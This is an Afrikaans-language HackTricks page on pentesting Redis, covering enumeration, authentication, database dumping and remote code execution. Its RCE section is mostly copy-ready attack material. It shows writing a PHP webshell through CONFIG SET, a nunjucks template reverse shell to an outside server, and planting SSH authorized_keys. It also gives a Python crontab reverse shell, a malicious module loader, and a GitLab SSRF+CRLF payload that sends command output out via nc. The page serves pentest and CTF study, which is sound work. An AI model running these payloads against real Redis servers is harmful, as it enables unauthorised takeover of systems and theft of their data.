# 6379 - Pentesting Redis
Leer AWS-hacking vanaf nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat
**Hack Nuus in Werklikheid**\
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Basiese Inligting
Vanaf [die dokumente](https://redis.io/topics/introduction): Redis is 'n oopbron (BSD-gelisensieerde), in-memory **datastruktuurwinkel**, gebruik as 'n **databasis**, cache en boodskapmakelaar).
Standaard gebruik Redis 'n teksgebaseerde protokol, maar onthou dat dit ook **ssl/tls** kan implementeer. Leer hoe om [Redis met ssl/tls hier te hardloop](https://fossies.org/linux/redis/TLS.md).
**Verstekpoort:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Outomatiese Opsomming
Sommige geoutomatiseerde gereedskap wat kan help om inligting van 'n redis-instansie te verkry:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## Handmatige Opsomming
### Banier
Redis is 'n **teks-gebaseerde protokol**, jy kan net die **bevel in 'n sokket stuur** en die teruggekeerde waardes sal leesbaar wees. Onthou ook dat Redis kan hardloop met behulp van **ssl/tls** (maar dit is baie vreemd).
In 'n gewone Redis instansie kan jy net koppel deur gebruik te maak van `nc` of jy kan ook `redis-cli` gebruik:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Die **eerste bevel** wat jy kan probeer is **`info`**. Dit **kan uitset met inligting** van die Redis-instantie **of iets** soos die volgende kan teruggegee word:
```
-NOAUTH Authentication required.
```
In hierdie laaste geval beteken dit dat **jy geldige geloofsbriewe nodig het** om toegang tot die Redis-instantie te verkry.
### Redis-verifikasie
**Standaard** kan Redis toegang word **sonder geloofsbriewe**. Dit kan egter **gekonfigureer word** om slegs wagwoord, of gebruikersnaam + wagwoord te ondersteun.\
Dit is moontlik om 'n wagwoord in te stel in die _**redis.conf**_ lêer met die parameter `requirepass` **of tydelik** totdat die diens herlaai deur daarmee te verbind en die volgende uit te voer: `config set requirepass p@ss$12E45`.\
'n **Gebruikersnaam** kan ook in die parameter `masteruser` binne die _**redis.conf**_ lêer gekonfigureer word.
{% hint style="info" %}
Indien slegs 'n wagwoord gekonfigureer is, word die standaard gebruikte gebruikersnaam "**default**".\
Merk ook op dat daar **geen manier is om ekstern te vind** of Redis gekonfigureer is met slegs wagwoord of gebruikersnaam+wagwoord.
{% endhint %}
In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kan interaksieer, sodat jy kan probeer om dit [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Indien jy geldige geloofsbriewe vind, moet jy die sessie verifieer** nadat jy die verbinding met die volgende bevel tot stand gebring het:
```bash
AUTH
```
**Geldige geloofsbriewe** sal beantwoord word met: `+OK`
### **Geautehtiseerde opstel**
Indien die Redis-bediener **anonieme verbindinge** toelaat of as jy geldige geloofsbriewe verkry het, kan jy die opstelproses vir die diens inisieer deur die volgende **opdragte** te gebruik:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Ander Redis-opdragte** [**kan hier gevind word**](https://redis.io/topics/data-types-intro) **en** [**hier**](https://lzone.de/cheat-sheet/Redis)**.**
Merk op dat die **Redis-opdragte van 'n instansie hernoem** of verwyder kan word in die _redis.conf_ lêer. Byvoorbeeld, hierdie lyn sal die opdrag FLUSHDB verwyder:
```
rename-command FLUSHDB ""
```
Meer oor die veilige konfigurasie van 'n Redis-diens hier: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Jy kan ook **die Redis-opdragte in werklikheid monitor** wat uitgevoer word met die opdrag **`monitor`** of kry die top **25 stadigste navrae** met **`slowlog get 25`**
Vind meer interessante inligting oor meer Redis-opdragte hier: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Databasis Dumping**
Binne Redis is die **databasisse nommers wat begin vanaf 0**. Jy kan sien of enigiemand dit gebruik in die uitset van die opdrag `info` binne die "Keyspace" blok:
![](<../.gitbook/assets/image (315).png>)
Of jy kan net al die **keyspaces** (databasisse) kry met:
```
INFO keyspace
```
In daardie voorbeeld word die **databasis 0 en 1** gebruik. **Databasis 0 bevat 4 sleutels en databasis 1 bevat 1**. Standaard sal Redis databasis 0 gebruik. Om byvoorbeeld databasis 1 te dump, moet jy die volgende doen:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
In geval jy die volgende fout kry `-WRONGTYPE Operation against a key holding the wrong kind of value` terwyl jy `GET ` hardloop is dit omdat die sleutel dalk iets anders as 'n string of 'n heelgetal is en 'n spesiale operator benodig om dit te vertoon.
Om die tipe van die sleutel te weet, gebruik die `TYPE` bevel, voorbeeld hieronder vir lys- en hashsleutels.
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**Dompel die databasis met npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **of python** [**redis-utils**](https://pypi.org/project/redis-utils/)
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Hack-insigte**\
Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk
**Nuutste Hack-nuus**\
Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin saamwerk met top hackers vandag!
## Redis RCE
### Interaktiewe Skul
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) kan outomaties 'n interaktiewe skul of 'n omgekeerde skul kry in Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
Inligting van [**hier**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Jy moet die **pad** van die **Webwerf vouer** weet:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
Indien die webshell toegang uitsondering, kan jy die databasis leegmaak na rugsteun en weer probeer, onthou om die databasis te herstel.
### Templaat Webshell
Soos in die vorige afdeling kan jy ook 'n paar html templaat lêers oorskryf wat deur 'n templaat-enjin geïnterpreteer gaan word en 'n shell verkry.
Byvoorbeeld, volgens [**hierdie skryfstuk**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), kan jy sien dat die aanvaller 'n **rev shell ingespuit het in 'n html** wat deur die **nunjucks templaat-enjin geïnterpreteer is:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Let wel dat **veral sjabloon-enjins** die sjablone in **geheue** oppas, sodat selfs as jy dit oorskryf, die nuwe een **nie uitgevoer sal word nie**. In hierdie gevalle het die ontwikkelaar óf die outomatiese herlaai aktief gelaat, óf jy moet 'n DoS oor die diens uitvoer (en verwag dat dit outomaties weer begin).
{% endhint %}
### SSH
Voorbeeld [van hier](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Wees bewus dat die resultaat van **`config get dir`** kan verander na ander handmatige uitbuitingsopdragte. Stel voor om dit eerste uit te voer direk na die aanmelding by Redis. In die uitset van **`config get dir`** kan jy die **tuiste** van die **redis-gebruiker** vind (gewoonlik _/var/lib/redis_ of _/home/redis/.ssh_), en deur dit te weet, weet jy waar jy die `authenticated_users` lêer kan skryf om toegang te verkry via ssh **met die gebruiker redis**. As jy die tuiste van 'n ander geldige gebruiker ken waar jy skryfregte het, kan jy dit ook misbruik:
1. Skep 'n ssh openbare-privaatsleutelpaar op jou rekenaar: **`ssh-keygen -t rsa`**
2. Skryf die openbare sleutel na 'n lêer: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importeer die lêer na redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Stoor die openbare sleutel in die **authorized\_keys** lêer op die redis-bediener:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Laastens kan jy **ssh** na die **redis-bediener** met die privaatsleutel: **ssh -i id\_rsa redis@10.85.0.52**
**Hierdie tegniek is outomaties hier:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Die laaste voorbeeld is vir Ubuntu, vir **Centos**, moet die bo genoemde bevel wees: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Hierdie metode kan ook gebruik word om bitcoin te verdien: [yam](https://www.v2ex.com/t/286981#reply14)
### Laai Redis Module
1. Volg die instruksies vanaf [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) jy kan **'n redis module saamstel om arbitrêre bevele uit te voer**.
2. Dan het jy 'n manier nodig om die saamgestelde module te **oplaai**
3. **Laai die opgelaai module** tydens uitvoertyd met `MODULE LOAD /path/to/mymodule.so`
4. **Lys die gelaai modules** om te kontroleer of dit korrek gelaai is: `MODULE LIST`
5. **Voer bevele uit**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Ontlaai die module wanneer jy wil: `MODULE UNLOAD mymodule`
### LUA sandboks omseil
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) kan jy sien dat Redis die bevel **EVAL** gebruik om **Lua-kode sandboks** uit te voer. In die gekoppelde pos kan jy sien **hoe om dit te misbruik** deur die **dofile**-funksie te gebruik, maar [blykbaar](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) is dit nie meer moontlik nie. Hoe dan ook, as jy die Lua-sandboks kan omseil, kan jy arbitrêre bevele op die stelsel **uitvoer**. Ook, van dieselfde pos kan jy sien dat daar enkele **opsies is om DoS te veroorsaak**.
Sommige **CVE's om uit LUA te ontsnap**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Meester-Slaaf Module
Die meester redis alle operasies word outomaties gesinchroniseer na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, wat aan die meester redis gekoppel is wat ons eie beheer word, dan kan ons die bevel na ons eie redis invoer.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF praat met Redis
As jy **duidelike teks** versoek **na Redis** kan stuur, kan jy **daarmee kommunikeer** aangesien Redis lyn vir lyn die versoek sal lees en net met foute op die lyne reageer wat dit nie verstaan nie:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Daarom, as jy 'n **SSRF vuln** in 'n webwerf vind en jy kan **beheer** oor 'n paar **headers** (miskien met 'n CRLF vuln) of **POST parameters**, sal jy in staat wees om willekeurige bevele na Redis te stuur.
### Voorbeeld: Gitlab SSRF + CRLF na Shell
In **Gitlab11.4.7** is 'n **SSRF**-kwesbaarheid en 'n **CRLF** ontdek. Die **SSRF**-kwesbaarheid was in die **projek invoer van URL-funksionaliteit** tydens die skep van 'n nuwe projek en het toegang tot willekeurige IP-adresse in die vorm \[0:0:0:0:0:ffff:127.0.0.1] (dit sal 127.0.0.1 toegang gee), en die **CRLF** vuln is uitgebuit deur net **%0D%0A** karakters by die **URL** te voeg.
Daarom was dit moontlik om **misbruik te maak van hierdie kwesbaarhede om met die Redis-instantie te kommunikeer** wat die rye van **gitlab** bestuur en om daardie rye te misbruik om **kodes uit te voer**. Die Redis-rymisbruik-payload is:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
En die **URL-kodering** versoek **misbruik SSRF** en **CRLF** om 'n `whoami` uit te voer en die uitset terug te stuur via `nc` is:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Vir 'n rede (soos vir die skrywer van_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _waar hierdie inligting vandaan kom) het die uitbuiting gewerk met die `git` skema en nie met die `http` skema nie._
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Hacken Insights**\
Tree in kontak met inhoud wat die opwinding en uitdagings van hacken ondersoek
**Real-Time Hack Nuus**\
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin saamwerk met top hackers vandag!
Leer AWS hack van nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.